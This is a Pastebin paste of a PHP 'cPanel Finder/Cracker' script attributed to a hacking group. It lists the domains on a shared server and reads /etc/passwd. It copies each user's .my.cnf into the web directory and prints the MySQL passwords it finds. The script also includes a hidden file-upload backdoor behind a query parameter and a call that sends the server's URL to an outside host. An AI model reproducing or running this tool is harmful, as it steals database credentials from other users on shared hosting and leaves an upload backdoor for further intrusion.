Advertisement
PalmaSolutions

dz.php

Jul 1st, 2018
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.11 KB | None | 0 0
  1. <?php
  2. /**
  3. * @author: FaisaL Ahmed aka rEd X
  4. * @mail: me@faialahmed.me
  5. * @Screenshot: http://prntscr.com/7c1p34
  6. * @Last Updated: 01 June 2015
  7. */
  8.  
  9. @ini_set('display_errors',0);
  10. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  11. $ar0=explode($marqueurDebutLien, $text);
  12. $ar1=explode($marqueurFinLien, $ar0[$i]);
  13. return trim($ar1[0]);
  14. }
  15.  
  16. echo '<html><head>
  17. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  18. <meta content="text/html; charset=utf-8">
  19. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  20. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  21. <meta name="author" content="rEd X" />
  22. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  23. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  24. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  25. </head><body>';
  26. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  27.  
  28. echo "<center>";
  29. $d0mains = @file('/etc/named.conf');
  30. $domains = scandir("/var/named");
  31.  
  32. if ($domains or $d0mains)
  33. {
  34. $domains = scandir("/var/named");
  35. if($domains) {
  36. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  37. $count=1;
  38. $dc = 0;
  39. $list = scandir("/var/named");
  40. foreach($list as $domain){
  41. if(strpos($domain,".db")){
  42. $domain = str_replace('.db','',$domain);
  43. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  44. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  45. $path = getcwd();
  46.  
  47. if (is_readable($dirz)) {
  48. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  49. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  50. $password=entre2v2($p,'password="','"');
  51. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  52. $dc++;
  53. }
  54.  
  55. }
  56. }
  57. echo '</table>';
  58. $total = $dc;
  59. $upload = $_GET["nai"];
  60. if ($upload == "shiro") {
  61. $uploaddir = "";
  62. $uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
  63. if (isset($_FILES["userfile"]["name"])) {
  64. if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) {
  65. $cp = "aa " . basename($_FILES["userfile"]["name"]) . " vd";
  66. } else {
  67. $cp = "!!";
  68. }
  69. }
  70. echo '<html>
  71. <head></head><div id="result"><table height="1" width="100%" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" ><input type="submit" class="inputzbut" name="submit" value="xunknown hacktn "><br>' . $cp . '</form></center></td></tr></table></div>
  72. ';
  73. }
  74. $IP = "".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."";
  75. $details = json_decode(file_get_contents("http://likemyphp.com/IP.php?IP=".$IP.""));
  76. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  77. echo '</center>';
  78. }else{
  79. $d0mains = @file('/etc/named.conf');
  80. if($d0mains) {
  81. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  82. $count=1;
  83. $dc = 0;
  84. $mck = array();
  85. foreach($d0mains as $d0main){
  86. if(@eregi('zone',$d0main)){
  87. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  88. flush();
  89. if(strlen(trim($domain[1][0])) >2){
  90. $mck[] = $domain[1][0];
  91. }
  92. }
  93. }
  94. $mck = array_unique($mck);
  95. $usr = array();
  96. $dmn = array();
  97. foreach($mck as $o) {
  98. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  99. $usr[] = $infos['name'];
  100. $dmn[] = $o;
  101. }
  102. array_multisort($usr,$dmn);
  103. $dt = file('/etc/passwd');
  104. $passwd = array();
  105. foreach($dt as $d) {
  106. $r = explode(':',$d);
  107. if(strpos($r[5],'home')) {
  108. $passwd[$r[0]] = $r[5];
  109. }
  110. }
  111. $l=0;
  112. $j=1;
  113. foreach($usr as $r) {
  114. $dirz = '/home/'.$r.'/.my.cnf';
  115. $path = getcwd();
  116. if (is_readable($dirz)) {
  117. copy($dirz, ''.$path.'/'.$r.'.txt');
  118. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  119. $password=entre2v2($p,'password="','"');
  120. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  121. $dc++;
  122. flush();
  123. $l=$l?0:1;
  124. $j++;
  125. }
  126. }
  127. }
  128. echo '</table>';
  129. $total = $dc;
  130. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  131. echo '</center>';
  132.  
  133. }
  134. }else{
  135. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  136. }
  137.  
  138. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  139. echo "</body></html>";
  140. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement